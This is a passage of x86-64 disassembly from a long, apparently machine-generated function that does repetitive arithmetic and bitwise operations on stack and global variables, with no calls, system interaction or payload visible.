mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x4238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4230], eax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov dword [rsp + 0x4374], eax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0xa938]
mov ecx, dword [rsp + 0x3ef8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x4284]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3494], eax
lea rax, [rsp + 0x4308]
mov qword [0x14019d930], rax
movzx eax, word [rsp + 0xf5c]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xa630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x42f0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x424c]
movzx ecx, al
mov eax, dword [0x14019bee8]
shl eax, cl
mov dword [rsp + 0x42d0], eax
lea rax, [rsp + 0xec4]
mov qword [rsp + 0xae20], rax
movzx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov eax, dword [rsp + 0x427c]
mov dword [0x14019d938], eax
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0xab38]
mov ecx, dword [rsp + 0x430c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x426c], eax
mov eax, dword [rsp + 0x41f0]
mov ecx, dword [0x14019bf3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f0], eax
lea rax, [rsp + 0xfa8]
mov qword [rsp + 0xae28], rax
movzx eax, byte [rsp + 0x190]
movzx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov byte [rsp + 0x18e], al
lea rax, [0x14019d8b0]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0xa920]
mov ecx, dword [rsp + 0x436c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa748]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36fc]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf40], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x437c], eax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0xad60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0xf74]
mov qword [rsp + 0xae38], rax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0xae18]
mov byte [rcx], al
movzx eax, word [rsp + 0xfac]
movzx ecx, word [rsp + 0xec8]
add eax, ecx
mov rcx, qword [rsp + 0xac08]
mov word [rcx], ax
lea rax, [rsp + 0x4220]
mov qword [rsp + 0xae40], rax
mov rax, qword [rsp + 0xab88]
mov rcx, qword [rsp + 0xa770]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
lea rax, [rsp + 0x158]
mov qword [rsp + 0xae48], rax
movzx eax, word [0x14019bef0]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa678]
mov qword [rsp + 0xae50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x420c], eax
mov rax, qword [rsp + 0xad00]
mov eax, dword [rax]
mov dword [rsp + 0x4380], eax
mov eax, dword [rsp + 0x4328]
movzx ecx, al
mov eax, dword [0x14019bf58]
shl eax, cl
mov dword [rsp + 0x36fc], eax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov word [rsp + 0xfd4], ax
mov rax, qword [0x14019d7a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
xor eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov dword [rsp + 0x4384], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4254]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4248], eax
lea rax, [rsp + 0xf30]
mov qword [0x14019d940], rax
mov rax, qword [rsp + 0xa9b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov rcx, qword [rsp + 0xa8b0]
mov byte [rcx], al
lea rax, [rsp + 0x161]
mov qword [rsp + 0xae58], rax
mov rax, qword [0x14019d8d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
add eax, ecx
mov word [rsp + 0xedc], ax
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0xacf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4220]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov ecx, dword [0x14019d830]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xa8e8]
mov rcx, qword [rsp + 0xa670]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x35e8], eax
mov rax, qword [rsp + 0xad98]
mov rcx, qword [0x14019d930]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c48], eax
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
sub eax, ecx
mov byte [0x14019bf02], al
mov rax, qword [rsp + 0xa728]
mov rcx, qword [0x14019d8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4330]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov rcx, qword [0x14019d888]
mov qword [rsp + 0xae60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae60]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xad40]
mov dword [rcx], eax
lea rax, [rsp + 0xec0]
mov qword [rsp + 0xae68], rax
movzx eax, byte [rsp + 0x188]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaa58]
mov byte [rcx], al
movzx eax, word [str.3K6LAu_]
mov word [rsp + 0xfdc], ax
movsx eax, byte [rsp + 0x174]
mov rcx, qword [rsp + 0xab70]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa7a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x4364]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bef4], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4298], eax
lea rax, [rsp + 0xf24]
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x168], al
lea rax, [0x14019bf4c]
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4228]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae30]
mov dword [rcx], eax
lea rax, [rsp + 0x41cc]
mov qword [rsp + 0xae80], rax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xec4]
sub eax, ecx
mov rcx, qword [rsp + 0xa990]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d797], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov dword [rsp + 0x4390], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xaa48]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad58]
mov eax, dword [rax]
mov dword [rsp + 0x4394], eax
mov rax, qword [rsp + 0xad90]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xae88], rax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov word [rsp + 0xfe0], ax
mov rax, qword [rsp + 0xaa28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x193]
xor eax, ecx
mov byte [0x14019bf03], al
mov rax, qword [rsp + 0xa678]
mov ecx, dword [rsp + 0x3c7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42f0], eax
mov eax, dword [rsp + 0x427c]
movzx ecx, al
mov eax, dword [rsp + 0x423c]
shl eax, cl
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
movzx eax, word [0x14019d7b0]
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x190], al
lea rax, [rsp + 0x4170]
mov qword [rsp + 0xae90], rax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x42f8], eax
mov eax, dword [rsp + 0x4248]
mov ecx, dword [rsp + 0x4378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42a8], eax
mov eax, dword [rsp + 0x4088]
mov dword [rsp + 0x4398], eax
movzx eax, byte [rsp + 0x160]
mov rcx, qword [0x14019d880]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d8b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xef8]
mov rcx, qword [rsp + 0xab00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa850]
mov word [rcx], ax
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0xae98], rax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [rsp + 0x4370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4264], eax
movsx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0xa9b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov byte [rcx], al
movsx eax, word [rsp + 0xf9c]
mov rcx, qword [0x14019d7a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc94], ax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
lea rax, [rsp + 0x159]
mov qword [rsp + 0xaea0], rax
mov rax, qword [rsp + 0xaa60]
mov rcx, qword [0x14019d7b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0xa960]
mov eax, dword [rax]
mov dword [0x14019d948], eax
mov eax, dword [rsp + 0x4080]
mov rcx, qword [rsp + 0xae78]
mov qword [rsp + 0xaea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaea8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa708]
mov eax, dword [rax]
mov dword [rsp + 0x439c], eax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xae08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3494], eax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xaeb0], rax
movzx eax, word [rsp + 0xf68]
movzx ecx, word [rsp + 0xf38]
or eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov dword [rsp + 0x43a0], eax
mov eax, dword [rsp + 0x434c]
movzx ecx, al
mov eax, dword [rsp + 0x4340]
shl eax, cl
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
mov ecx, dword [0x14019bf58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d930]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov word [rsp + 0xfe8], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [0x14019900e]
and eax, ecx
mov byte [rsp + 0x160], al
lea rax, [rsp + 0x18c]
mov qword [rsp + 0xaeb8], rax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov word [rsp + 0xf7c], ax
mov eax, dword [rsp + 0x42f0]
mov ecx, dword [rsp + 0x41f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42c8], eax
lea rax, [rsp + 0x3694]
mov qword [rsp + 0xaec0], rax
movzx eax, byte [rsp + 0x18d]
movzx ecx, byte [rsp + 0x16b]
sub eax, ecx
mov rcx, qword [rsp + 0xa958]
mov byte [rcx], al
lea rax, [rsp + 0xea4]
mov qword [rsp + 0xaec8], rax
mov rax, qword [rsp + 0xacb0]
mov rcx, qword [rsp + 0xacc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf5c], eax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xaa08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [rsp + 0xa600]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov dword [rsp + 0x43a4], eax
movzx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xa970]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa720]
mov byte [rcx], al
lea rax, [rsp + 0xd5c]
mov qword [rsp + 0xaed0], rax
mov rax, qword [rsp + 0xa680]
mov ecx, dword [rsp + 0x42e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42e4], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov dword [rsp + 0x43a8], eax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [0x14019d820]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xacd8]
mov ecx, dword [rsp + 0x4254]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bf60], eax
mov eax, dword [rsp + 0x4200]
movzx ecx, al
mov eax, dword [rsp + 0x4088]
sar eax, cl
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
movzx eax, word [0x14019d8e0]
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xa900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
shl eax, cl
mov byte [rsp + 0x17a], al
movzx eax, word [rsp + 0xf18]
mov word [rsp + 0xff0], ax
mov rax, qword [0x14019d890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16b]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x434c]
mov ecx, dword [rsp + 0x4130]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42ec]
mov dword [rsp + 0x43ac], eax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa940]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaec8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019d8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [0x14019d8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e24], eax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x426c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa700]
mov rcx, qword [rsp + 0xa8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x415c], eax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov dword [rsp + 0x43b0], eax
movzx eax, word [rsp + 0xef4]
mov rcx, qword [rsp + 0xac58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb8], ax
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x197], al
mov rax, qword [0x14019d848]
mov ecx, dword [rsp + 0x4318]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa6a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaec0]
mov rcx, qword [rsp + 0xabc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42ac], eax
lea rax, [rsp + 0x18f]
mov qword [0x14019d950], rax
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa968]
mov byte [rcx], al
lea rax, [rsp + 0xf38]
mov qword [rsp + 0xaee0], rax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4350]
shr eax, cl
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42b0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4288]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov dword [rsp + 0x43b8], eax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov word [0x14019d958], ax
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov dword [rsp + 0x43bc], eax
mov rax, qword [rsp + 0xa6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0xab38]
mov rcx, qword [rsp + 0xaec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xac10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov dword [rsp + 0x43c0], eax
movzx eax, word [rsp + 0xf24]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov byte [rsp + 0x198], al
movsx eax, word [rsp + 0xa94]
movsx ecx, word [rsp + 0xed8]
and eax, ecx
mov rcx, qword [rsp + 0xa578]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0xad80]
mov byte [rcx], al
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d7f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41c0]
mov dword [rsp + 0x43c4], eax
movzx eax, word [rsp + 0xf38]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov word [rcx], ax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0xaee8], rax
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xa740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xacc0]
mov qword [rsp + 0xaef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaef0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0xade8]
mov ecx, dword [rsp + 0x42e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3908], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41a0]
sar eax, cl
mov dword [rsp + 0x4300], eax
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0xff4], ax
mov rax, qword [0x14019d7a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019bf06], al
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac98]
mov dword [rcx], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xaef8], rax
mov rax, qword [0x14019d808]
mov rcx, qword [rsp + 0xa6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
lea rax, [rsp + 0x4380]
mov qword [rsp + 0xaf00], rax
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xed8], ax
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa728]
mov ecx, dword [rsp + 0x420c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fac], eax
lea rax, [rsp + 0x41a4]
mov qword [rsp + 0xaf08], rax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
movzx eax, word [rsp + 0xf08]
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0xaa48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov dword [rsp + 0x43c8], eax
mov eax, dword [rsp + 0x42b0]
mov rcx, qword [rsp + 0xa950]
mov qword [rsp + 0xaf10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x415c], eax
movzx eax, byte [rsp + 0x183]
movzx ecx, byte [rsp + 0x151]
sar eax, cl
mov byte [0x14019bf07], al
movzx eax, word [rsp + 0xfe8]
mov word [rsp + 0xffc], ax
mov eax, dword [rsp + 0x4388]
mov ecx, dword [rsp + 0x41ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacf8]
mov dword [rcx], eax
lea rax, [rsp + 0x42e0]
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0xa9e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x199], al
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xfdc]
and eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov word [rcx], ax
lea rax, [rsp + 0xec0]
mov qword [rsp + 0xaf20], rax
movzx eax, byte [rsp + 0x17f]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x187], al
lea rax, [rsp + 0x4230]
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xaa00]
mov ecx, dword [rsp + 0x42a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d948], eax
mov eax, dword [rsp + 0x4348]
mov ecx, dword [rsp + 0x42e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4334], eax
mov rax, qword [0x14019d7b8]
mov ecx, dword [rsp + 0x420c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0xaf30], rax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfc4], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xaf38], rax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43b4]
mov ecx, dword [rsp + 0x4214]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f0], eax
mov eax, dword [rsp + 0x421c]
mov dword [rsp + 0x43cc], eax
lea rax, [rsp + 0x3d34]
mov qword [0x14019d960], rax
mov rax, qword [rsp + 0xac90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
lea rax, [0x14019bf08]
mov qword [rsp + 0xaf40], rax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad80]
